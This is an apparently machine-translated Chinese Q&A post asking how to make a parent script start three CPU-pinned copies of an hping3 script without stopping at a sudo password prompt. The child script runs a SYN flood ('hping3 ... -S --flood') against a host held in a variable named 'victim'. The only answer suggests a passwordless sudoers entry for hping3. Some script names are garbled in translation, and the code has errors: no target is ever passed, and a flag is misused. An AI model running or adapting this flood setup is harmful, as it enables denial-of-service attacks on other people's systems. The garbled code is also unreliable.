我有一个脚本(A.sh)运行另一个脚本(B.sh),在该脚本中我需要一个 root 密码才能启动命令。
灰:
#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &
比什(hping.sh)
#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim
问题是,当 A.sh 尝试运行 B.sh 时,它会要求输入 root 密码,然后它会停止,它无法从控制台获取密码。
我该如何解决这个问题?
答案1
不建议在环境变量中设置 sudo 密码。其他人可能会访问该密码。相反,您可以修改 sudoer 的文件,允许某些命令无密码 sudo。在本例中为“hping3”。